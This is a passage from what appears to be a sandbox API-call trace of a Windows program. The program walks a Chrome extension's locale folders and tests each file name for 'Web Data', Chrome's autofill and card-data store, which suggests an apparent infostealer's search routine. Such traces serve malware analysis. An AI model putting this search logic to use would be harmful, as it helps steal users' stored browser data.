lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.139] lstrlenA (lpString="he") returned 2 [0056.139] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.139] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.139] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0056.139] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0056.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0056.139] lstrlenA (lpString="\\*.*") returned 4 [0056.139] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.139] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0056.139] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0056.139] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.139] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.139] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.139] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.139] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.139] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.140] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.140] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.140] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.140] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.140] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.140] lstrlenA (lpString="\\") returned 1 [0056.140] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.140] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.140] lstrlenA (lpString="hi") returned 2 [0056.140] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.140] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0056.140] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0056.140] lstrlenA (lpString="\\*.*") returned 4 [0056.140] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.140] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0056.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0056.140] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.140] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.140] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.140] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.140] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.140] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.140] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.140] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.140] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.140] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.140] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.140] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.140] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.140] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.140] lstrlenA (lpString="\\") returned 1 [0056.140] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.140] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.140] lstrlenA (lpString="hu") returned 2 [0056.140] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.141] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.141] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0056.141] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0056.141] lstrlenA (lpString="\\*.*") returned 4 [0056.141] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.141] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0056.141] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0056.141] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.141] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.141] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.141] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.141] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.141] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.141] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.141] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.141] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.141] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.141] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.141] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.141] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.141] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.141] lstrlenA (lpString="\\") returned 1 [0056.141] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.141] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.141] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.141] lstrlenA (lpString="id") returned 2 [0056.141] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.141] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.141] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0056.141] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0056.141] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0056.141] lstrlenA (lpString="\\*.*") returned 4 [0056.141] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.141] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0056.141] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0056.141] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.142] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.142] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.142] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.142] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.142] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.142] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.142] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.142] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.142] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.142] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.142] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.142] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.142] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.142] lstrlenA (lpString="\\") returned 1 [0056.142] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.142] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.142] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.142] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.142] lstrlenA (lpString="it") returned 2 [0056.142] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.142] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 